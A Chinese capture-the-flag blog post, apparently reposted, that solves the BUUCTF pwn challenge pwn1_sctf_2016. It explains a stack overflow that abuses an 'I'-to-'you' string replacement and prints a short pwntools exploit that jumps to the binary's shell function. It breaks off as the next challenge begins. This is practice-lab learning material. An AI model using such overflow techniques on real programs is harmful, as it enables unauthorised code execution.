&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&

  在做buu题目的时候,发现在最上面有几道被各位师傅打到1分的题,强迫症逼迫我去做那几道题。

  这里来试着去解决这些题。。。讲真的,我感觉自己刷题真的少,即使是很简单的栈题目,我还是能学习到新的东西。这里就记录一下这几道题。

  pwn1_sctf_2016

  检查了一下保护,32位程序,只开启了堆栈不可执行。直接ida看一下伪代码吧。

  看代码也就是一个简单的栈溢出。但是我并没有自己做出这道题,太菜了。。。大一下学期我们有开设C++这门课,但是我由于一些事情,在家休息了一个多月,结果课也落下了。。。太痛苦了,C++吃亏在这里了,总要补的。。。

  其实这个CTF就应该半分做,半分蒙。可以看到fgets是对我们输入的内容进行了限制,所以我们不能溢出到返回地址,但是可以看到两个字符串“I”和“you”,其实应该输入这几个字符串进去看看是什么意思的。

  这里其实是一个回显,但是你如果输入“I”的话,就会给你自动转换成you,所以就解决溢出不到返回地址的问题了。接下来就是计算了。题目本身有可以直接拿shell的函数,直接返回地址转到那个shell 的地址就行了。还是羞耻的贴一下exp:

  

 1 from pwn import *
 2 
 3 p = process('./1')
 4 context.log_level = 'debug'
 5 
 6 shell_addr = 0x08048F0D
 7 
 8 payload = 'I'*21 + 'b' + p32(shell_addr)
 9 p.sendline(payload)
10 p.recv()
11 p.recv()

  

扫描二维码关注公众号,回复: 10572902 查看本文章

  ciscn_2019_n_1

  64位程序,保护只开启了堆栈不可执行。

猜你喜欢

转载自www.cnblogs.com/bhxdn/p/12653991.html